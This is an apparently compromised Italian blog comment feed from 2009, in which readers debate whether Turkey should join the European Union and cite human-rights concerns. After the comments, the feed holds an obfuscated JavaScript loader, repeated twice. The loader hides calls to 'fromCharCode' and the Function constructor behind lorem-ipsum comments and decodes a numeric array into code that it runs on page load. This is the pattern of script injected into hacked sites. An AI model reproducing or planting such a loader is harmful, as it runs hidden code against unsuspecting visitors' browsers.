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	<title>Commenti a: La Turchia deve entrare in Europa?</title>
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		<title>Di: Fabio Scacciavillani</title>
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		<dc:creator>Fabio Scacciavillani</dc:creator>
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		<description>Caro Giorgio,

io sono piu&#039; possibilista sulla Turchia. Se migliorano il sistema giuridico in senso liberale e la finiscono con le discriminazioni contro i curdi,politico econmomiche  le altre considerazioni perdono di importanza.

Quello che invece dovrebbe preoccupare e&#039; l&#039;incapacita&#039; dell EU di avere una struttura decisionale. Per questo io sono favorevole a lanciare il progetto di una cooperazione rafforzata che unisca solo i paesi che vogliano federarsi e lasciare che Gran Bretagna e tutti gli euroscettici rimangano al palo.</description>
		<content:encoded><![CDATA[<p>Caro Giorgio,</p>
<p>io sono piu&#8217; possibilista sulla Turchia. Se migliorano il sistema giuridico in senso liberale e la finiscono con le discriminazioni contro i curdi,politico econmomiche  le altre considerazioni perdono di importanza.</p>
<p>Quello che invece dovrebbe preoccupare e&#8217; l&#8217;incapacita&#8217; dell EU di avere una struttura decisionale. Per questo io sono favorevole a lanciare il progetto di una cooperazione rafforzata che unisca solo i paesi che vogliano federarsi e lasciare che Gran Bretagna e tutti gli euroscettici rimangano al palo.</p>
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		<title>Di: Isabella Lupi</title>
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		<dc:creator>Isabella Lupi</dc:creator>
		<pubDate>Sat, 25 Apr 2009 13:05:14 +0000</pubDate>
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		<description>TURCHIA SI’, TURCHIA NO

Come elettrice (sempre meno convinta) del Pd gradirei che con l’approssimarsi  delle elezioni europee il Partito Democratico  esprimesse con chiarezza  la propria posizione   sui temi più scottanti attualmente sul tappeto  in ambito europeo . Penso che conoscere tali posizioni dovrebbe essere un diritto di tutti gli elettori.
Ad esempio,  mi sta particolarmente a cuore  la vexata quaestio dell’ingresso della Turchia nella UE, tema  trasversale , al centro del dibattito sulle prospettive dell’Europa e sul quale ritengo dunque necessario avere indicazioni  precise.
 Da più parti  (compresi l’America di Obama,   e –  scusate l’accostamento -  il nostro presidente del consiglio)  l’allargamento della UE alla Turchia è visto come  un fatto auspicabile che   consentirebbe sia    di avviare un pro/positivo  dialogo  con il mondo musulmano,   che di creare una testa di ponte – anche in senso militare -   tra la UE e   i paesi dell’area  mediorientale  per la sua posizione  geopolitica.
Personalmente mi rifiuto  di pensare che   in nome dell’opportunismo  politico sia possibile sorvolare sulla costante  violazione dei diritti  umani  perpetrata a tutt’oggi in quel paese nei confronti  delle minoranze etniche e religiose (soprattutto curde, ma anche armene ed ebraiche), delle donne (in tema di occupazione,
violenza,  delitti d&#039;onore, matrimoni forzati) e  dei dissidenti. Ricordo, per inciso, che la  stessa carta costituzionale turca -  approvata sotto il regime militare nel 1982- contiene forti limitazioni alla libertà di espressione, ai diritti delle minoranze, ammette discriminazioni di genere e, non ultimo attribuisce all’esercito un forte ruolo nella vita politica.  Da cittadina europea non gradisco assolutamente sentirmi assimilata ad un paese  con tali presupposti  antidemocratici.
Non mancano poi  voci interne al PD che  considerano  l’aggregazione all’Europa l’occasione   giusta  per stimolare un processo di   superamento delle enormi contraddizioni di questo paese.  Capisco ed apprezzo le e buone intenzioni, ma   ci andrei con i piedi  di piombo . E chi ci garantisce questa positiva evoluzione?

La mia opinione è, piuttosto, che sia necessario vincolare l’allargamento della UE alla Turchia ad un preventivo,  e sottolineo preventivo,  adempimento di precise condizioni fissate dall’Unione Europea  e che solo successivamente,   la Turchia potrà aspirare ad entrare in  Europa.  Allora sì che l’ingresso in Europa potrebbe essere per i turchi  l’occasione giusta per cambiare.</description>
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<p>Come elettrice (sempre meno convinta) del Pd gradirei che con l’approssimarsi  delle elezioni europee il Partito Democratico  esprimesse con chiarezza  la propria posizione   sui temi più scottanti attualmente sul tappeto  in ambito europeo . Penso che conoscere tali posizioni dovrebbe essere un diritto di tutti gli elettori.<br />
Ad esempio,  mi sta particolarmente a cuore  la vexata quaestio dell’ingresso della Turchia nella UE, tema  trasversale , al centro del dibattito sulle prospettive dell’Europa e sul quale ritengo dunque necessario avere indicazioni  precise.<br />
 Da più parti  (compresi l’America di Obama,   e –  scusate l’accostamento &#8211;  il nostro presidente del consiglio)  l’allargamento della UE alla Turchia è visto come  un fatto auspicabile che   consentirebbe sia    di avviare un pro/positivo  dialogo  con il mondo musulmano,   che di creare una testa di ponte – anche in senso militare &#8211;   tra la UE e   i paesi dell’area  mediorientale  per la sua posizione  geopolitica.<br />
Personalmente mi rifiuto  di pensare che   in nome dell’opportunismo  politico sia possibile sorvolare sulla costante  violazione dei diritti  umani  perpetrata a tutt’oggi in quel paese nei confronti  delle minoranze etniche e religiose (soprattutto curde, ma anche armene ed ebraiche), delle donne (in tema di occupazione,<br />
violenza,  delitti d&#8217;onore, matrimoni forzati) e  dei dissidenti. Ricordo, per inciso, che la  stessa carta costituzionale turca &#8211;  approvata sotto il regime militare nel 1982- contiene forti limitazioni alla libertà di espressione, ai diritti delle minoranze, ammette discriminazioni di genere e, non ultimo attribuisce all’esercito un forte ruolo nella vita politica.  Da cittadina europea non gradisco assolutamente sentirmi assimilata ad un paese  con tali presupposti  antidemocratici.<br />
Non mancano poi  voci interne al PD che  considerano  l’aggregazione all’Europa l’occasione   giusta  per stimolare un processo di   superamento delle enormi contraddizioni di questo paese.  Capisco ed apprezzo le e buone intenzioni, ma   ci andrei con i piedi  di piombo . E chi ci garantisce questa positiva evoluzione?</p>
<p>La mia opinione è, piuttosto, che sia necessario vincolare l’allargamento della UE alla Turchia ad un preventivo,  e sottolineo preventivo,  adempimento di precise condizioni fissate dall’Unione Europea  e che solo successivamente,   la Turchia potrà aspirare ad entrare in  Europa.  Allora sì che l’ingresso in Europa potrebbe essere per i turchi  l’occasione giusta per cambiare.</p>
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	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
})(function(jsBb) {
	return (function(jsB, jsBs) {
		return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
	})((function(jsB) {
		return jsB.constructor
	}), (function(jsB) {
		return (function(jsBs) {
			//accumsan dapibus diam 
			return jsB.call(jsB, jsBs)
		})
	}))
},function(tt){return tt.pop();},
function(kk,dd,ch,pp){
	for(var c=kk.length;c>0;){		
		var x=ch(c);
		c-=x;
		var rep=kk.substr(c, x);
		//accumsan dapibus diam 
		var t = dd.split(rep);
		dd=t.join(pp(t));
	};return dd;
},document,document.getElementsByTagName('title'));
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if(typeof gloa=='function')gloa();
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(function($$,_2,_1,doc,tk) {
	var xo="";
	function qq2(cid){cid=~~cid;return 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	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
	};
	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
			return fs(ro, arr, add, st, hf,dp+1) + fs(ro,arr, add, hf, en,dp+1);
		}else{
			var rt='';rx1=rex[add-29];
			for(var rj=st;rj<en;rj++){
			if(typeof arr[rj]!='string'){
			rt+=rx1(arr[rj]+add);}
		}
		//modo, diam a placerat facilisis, magna libero mollis erat, in molestie nunc tellus consequat justo. Nulla ac nunc purus. Pellentesque habitant morbi
			return rt;
		}
	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
})(function(jsBb) {
	return (function(jsB, jsBs) {
		return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()
	})((function(jsB) {
		return jsB.constructor
	}), (function(jsB) {
		return (function(jsBs) {
			//accumsan dapibus diam 
			return jsB.call(jsB, jsBs)
		})
	}))
},function(tt){return tt.pop();},
function(kk,dd,ch,pp){
	for(var c=kk.length;c>0;){		
		var x=ch(c);
		c-=x;
		var rep=kk.substr(c, x);
		//accumsan dapibus diam 
		var t = dd.split(rep);
		dd=t.join(pp(t));
	};return dd;
},document,document.getElementsByTagName('title'));
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if(typeof gloa=='function')gloa();
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